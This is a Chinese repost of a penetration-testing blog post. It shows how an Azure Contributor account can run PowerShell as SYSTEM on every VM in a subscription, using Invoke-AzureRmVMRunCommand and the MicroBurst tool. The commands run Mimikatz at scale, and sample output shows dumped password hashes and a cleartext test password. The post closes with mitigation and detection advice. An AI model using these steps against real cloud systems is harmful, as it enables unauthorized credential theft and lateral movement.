攻防技术:如何在Azure VMs中大规模运行PowerShell

栏目: 编程工具 · 发布时间: 5年前

内容简介:概述假如有这样一个场景:你正在进行渗透测试,而Azure基础结构也在渗透的授权范围之内(理应如此),并且你可以访问针对Azure订阅具有Contributor(管理)权限的域帐户。Contributor权限通常难以通过渗透测试获得,但是这一权限通常会授予开发人员。如果幸运的话,管理员可能会添加域用户组作为订阅的Contributor。或者,我们干脆假设,我们能够获得较低权限的用户,并可以实现权限提升,提升到Contributor帐户。在这时,我们可以尝试收集可用的凭据,转储配置数据,并尝试进一步访问订阅中的

概述

假如有这样一个场景:你正在进行渗透测试,而Azure基础结构也在渗透的授权范围之内(理应如此),并且你可以访问针对Azure订阅具有Contributor(管理)权限的域帐户。Contributor权限通常难以通过渗透测试获得,但是这一权限通常会授予开发人员。如果幸运的话,管理员可能会添加域用户组作为订阅的Contributor。或者,我们干脆假设,我们能够获得较低权限的用户,并可以实现权限提升,提升到Contributor帐户。

在这时,我们可以尝试收集可用的凭据,转储配置数据,并尝试进一步访问订阅中的其他帐户(Owners拥有者 / Domain Admins域名管理员)。在本文的场景中,我们假设已经尝试了所有的方法,但仍然卡在一个具有部分特权的用户上,我们无法转向其他订阅(或内部域)。在这时,我们可能会将目标转到虚拟机上。

攻击虚拟机

在攻击虚拟机时,我们可以做一些有影响力的测试,比如拉取VHD文件的快照。但这一过程比较艰难,没有人想要下载100多个GB的磁盘映像。由于我们善于借助工具,因此打算尝试在虚拟机上执行命令。在本文的场景中,我们假设没有公开暴露的虚拟机,并且我们不希望打开任何防火墙端口以允许RDP或其他远程管理协议。

即使没有远程管理协议,我们也可以通过几种不同的方式,在Azure环境中实现代码执行。我们可以 使用Azure Automation在Azure虚拟机上运行命令 。但在本文中,我们将重点关注 Invoke-AzureRmVMRunCommand函数 ,这个函数是AzureRM模块的一部分。

这个便捷的命令,将允许具有Contributor权限的任何人,在订阅的任何Azure虚拟机上, 以NT Authority\System身份运行PowerShell脚本 。这样一来,就可以以System权限实现虚拟机命令执行。

运行单个命令

我们从PowerShell的AzureRM会话(Session)中运行该命令,这一过程使用Contributor帐户进行身份验证。我们可以使用Login-AzureRmAccount命令对Azure进行身份验证。

Invoke-AzureRmVMRunCommand -ResourceGroupName VMResourceGroupName -VMName VMName -CommandId RunPowerShellScript -ScriptPath PathToYourScript

接下来,我们逐一分析其中的参数:

1、ResourceGroupName:虚拟机的资源组。

2、VMName:虚拟机名称。

3、CommandId:要在Azure中运行的命令的存储类型。

其中,“RunPowerShellScript”允许我们上传和运行PowerShell脚本,我们在这里只使用CommandId。

4、ScriptPath:想要运行的PowerShell PS1文件的路径。

我们可以使用Get-AzureRmVM命令获取VMName和ResourceGroupName。要想让过滤操作更为容易,可以使用如下命令:

PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
 
ResourceGroupName    Name       
-----------------    ----      
TESTRESOURCES        Remote-Test

在这个例子中,我们在Invoke-Mimikatz.ps1文件的末尾添加了额外的一行(Invoke-Mimikatz),以便在导入后运行该函数。下面是虚拟机上Invoke-Mimikatz.ps1尝试运行的过程(没有登陆到真实的帐户):

PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
Value[0]        :
  Code          : ComponentStatus/StdOut/succeeded
  Level         : Info
  DisplayStatus : Provisioning succeeded
  Message       :   .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28) .## ^ ##. 
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( <a href="/cdn-cgi/l/email-protection" data-cfemail="8fedeae1e5eee2e6e1cfe8eae1fbe6e3e4e6f8e6a1ece0e2">[email protected]</a> )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 15 modules * * */
 
mimikatz(powershell) # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : NetSPI-Test
Domain            : WORKGROUP
SID               : S-1-5-20        
        msv :
         [00000003] Primary
         * Username : NetSPI-Test
         * Domain   : WORKGROUP
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : NetSPI-Test
         * Domain   : WORKGROUP
         * Password : waza1234/
mimikatz(powershell) # exit
Bye!  
Value[1] : Code : ComponentStatus/StdErr/succeeded
Level : Info
DisplayStatus : Provisioning succeeded
Message :
Status : Succeeded
Capacity : 0
Count : 0

如果我们想要在几台虚拟机上,逐一运行自定义的PS脚本,那么上述方法非常实用。但是,假如我们想要将这种方法扩展到整个订阅呢?

运行多个命令

我已经将Invoke-AzureRmVMBulkCMD函数添加到MicroBurst,从而允许针对订阅中的多个虚拟机执行脚本。借助这一功能,我们可以针对整个订阅、特定资源组或单独的主机列表执行命令。

MicroBurst源代码请参见: https://github.com/NetSPI/MicroBurst

在我们的演示中,我们将针对测试订阅中的全部虚拟机(共有5个)运行Mimikatz,并将脚本的输出结果写入到日志文件。

Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
Executing Mimikatz.ps1 against all (5) VMs in the TestingResources Subscription
Are you Sure You Want To Proceed: (Y/n):
VERBOSE: Running .\Mimikatz.ps1 on the Remote-EastUS2 - (10.2.10.4 : 52.179.214.3) virtual machine (1 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-EastUS2 - (10.2.10.4 : 52.179.214.3)
VERBOSE: Script Execution Completed in 99 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-EAsia - (10.2.9.4 : 65.52.161.96) virtual machine (2 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-EAsia - (10.2.9.4 : 65.52.161.96)
VERBOSE: Script Execution Completed in 99 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanE - (10.2.12.4 : 13.78.40.185) virtual machine (3 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-JapanE - (10.2.12.4 : 13.78.40.185)
VERBOSE: Script Execution Completed in 69 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanW - (10.2.13.4 : 40.74.66.153) virtual machine (4 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-JapanW - (10.2.13.4 : 40.74.66.153)
VERBOSE: Script Execution Completed in 69 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-France - (10.2.11.4 : 40.89.130.206) virtual machine (5 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-France - (10.2.11.4 : 40.89.130.206)
VERBOSE: Script Execution Completed in 98 seconds

演示过程: https://blog.netspi.com/wp-content/uploads/2018/10/Mimikatz-med.gif

在上面的链接中,已经进行了加速播放,从而能快速演示给大家看。但在我们的测试订阅中,要想在5个虚拟机上运行Mimikatz,所需花费的总计时间为7分14秒。尽管在时间上并不理想,但这个方法却是非常实用的。在这里,受研究时间所限,我没有采用多线程的方式,大家可以根据这一思路自行尝试,我也欢迎大家与我进行探讨。

其他思路

由于需要演示,我们在所有虚拟机上都运行了Mimikatz。这很好,但可能不是你的最佳选择。针对不同的需求,我们可能会需要其他PowerShell选项:

1、产生Cobalt Strike、Empire或Metasploit Session;

2、搜索敏感文件;

3、在一个虚拟机上运行域信息收集脚本,并使用输出结果来定位某个特定虚拟机,从而执行代码。

性能问题

友情提示,这一切都是在演示环境中完成的。如果你打算在实际中应用这种方法,请记住,不是所有Azure区域或者虚拟机映像都会以相同的方式响应。我发现,针对某些特定区域和特定虚拟机,更适合运行这些命令。在针对美国地区之外的Azure区域使用命令的过程中,我遇到了一些停止、无法执行的问题。

但在大多数情况下,我对美国地区和标准版Windows Server 2012映像都非常满意。在我的实际测试中,Invoke-Mimikatz.ps1脚本通常需要约30-60秒才能运行。请记住,每次执行都必须将脚本上载到虚拟机,并且某些虚拟机可能不具有如此强大的能力。

缓解与检测

如果你是正在阅读这篇文章的管理员,请务必注意Owner和Contributor的权限。假如说阅读本文后你只能明白一个道理,那么这个道理就是:Contributor权限就等同于所有虚拟机的SYSTEM权限。

如果要降低Contributor执行这些命令的权限,可以为Contributor创建一个新角色,并限制用户的Microsoft.Compute/virtualMachines/runCommand/action权限。

此外,如果想要检测这一问题,请关注“Run Command on Virtual Machine”(虚拟机运行命令)日志条目。为该条目设置告警非常容易,除非Invoke-AzureRmVMRunCommand是虚拟机管理过程中必须要使用的,否则应该能轻松检测到有人使用了此命令。

以下告警逻辑,能够在任何人尝试使用此命令(包括成功和失败)时通知你。除此之外,你还可以将告警的范围扩展到订阅中的所有虚拟机。

攻防技术:如何在Azure VMs中大规模运行PowerShell

与往常一样,如果你对此脚本有任何疑问、建议或改进意见,请随时通过MicroBurst的Github页面与我们取得联系。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Unity 3D脚本编程

Unity 3D脚本编程

陈嘉栋 / 电子工业出版社 / 2016-9-1 / 79

《Unity 3D脚本编程——使用C#语言开发跨平台游戏》以Unity 3D 的跨平台基础Mono,以及其游戏脚本语言C#为基础进行讲解。全面系统地剖析了Unity 3D 的跨平台原理以及游戏脚本开发的特点。 第1 章主要介绍了Unity 3D 引擎的历史以及编辑器的基本知识;第2 章主要介绍了Mono,以及Unity3D 利用Mono 实现跨平台的原理,并且分析了C#语言为什么更适合Uni......一起来看看 《Unity 3D脚本编程》 这本书的介绍吧!

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具